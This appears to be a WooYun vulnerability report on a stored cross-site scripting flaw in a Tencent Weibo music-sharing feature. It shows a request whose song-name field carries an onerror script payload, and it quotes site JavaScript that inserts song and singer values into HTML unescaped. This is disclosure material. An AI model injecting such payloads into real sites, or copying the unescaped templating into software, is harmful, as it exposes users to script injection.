WooYun.org

content=%23%E5%88%86%E4%BA%AB%E9%9F%B3%E4%B9%90%23%20%23We%20are%20AMARS-%E5%90%89%E6%A3%AE%E4%BF%A1%23%20http%3A%2F%2Furl.cn%2F534joC&startTime=1348674746009&endTime=1348675207813&countType=&viewModel=&attips=&pic=&musicID=1886728&musicSong=We%20are%20AMARS<img src=a onerror=alert(1)>&musicSinger=%E5%90%89%E6%A3%AE%E4%BF%A1&musicLocation=http%3A%2F%2Fstream4.qqmusic.qq.com%2F13886728.wma&musicShortUrl=534joC&apiType=8&syncQzone=0&syncQQSign=0

MI.TalkList.prototype.musicEvent = function(b) {
		for (var a = this,
		c = 0,
		e = b.length; c < e; c++) {
			var d = b[c],
			f = g(d, ".albumInfo .mThumbsBox")[0];
			if (f) {
				…………
			} else {
				f = g(d, ".mThumbsBox")[0];
				j = g(d, ".mBox")[0];
				g(j, ".mTitBox");
				var h = g(j, ".btn_mClose")[0],
				i = g(j, ".btn_mPlay")[0],
				j = g(j, ".btn_mPause_hover")[0],
				k = g(d.parentNode.parentNode, ".msgCnt .ico_music")[0] || g(d.parentNode.parentNode, ".msgCnt .ico_qlz")[0];
				f.onclick = i.onclick = function() {
					MI.app({
						Music: function() {
							MI.TalkList.music(d)
						}
					});
					return ! 1
				};
				k && (k.onclick = function() {
…………
	};

MI.TalkList.music = function(a) {
		MI.TalkList.lastMusic = a;
		MI.Music && MI.Music.stop("", !0);
		var b = g(a, ".albumInfo .mThumbsBox")[0];
                …………
			a = '<a class="mPlayerPlaying" href="http://music.soso.com/url_player.html?song=%esong%&singer=%esinger%&url=%songurl%&stream=0&songID=0" target="_blank" title="%song%-%singer%"><span style="margin-right:10px;">%song%-%singer%</span></a>'.replace(/\%esong\%/gi, escape(UI.A(a, "song"))).replace(/\%esinger\%/gi, escape(UI.A(a, "singer"))).replace(/\%song\%/gi, UI.A(a, "song")).replace(/\%singer\%/gi, UI.A(a, "singer")).replace(/\%songurl\%/gi, UI.A(a, "songurl")).replace(/\%songid\%/gi, UI.A(a, "songid"));
			h || (UI.append(UI.html(a)[0], f), h = g(f, ".mPlayerPlaying")[0]);
			n || UI.append(UI.html('<span class="mPlayerState"></span>')[0], f);
			…………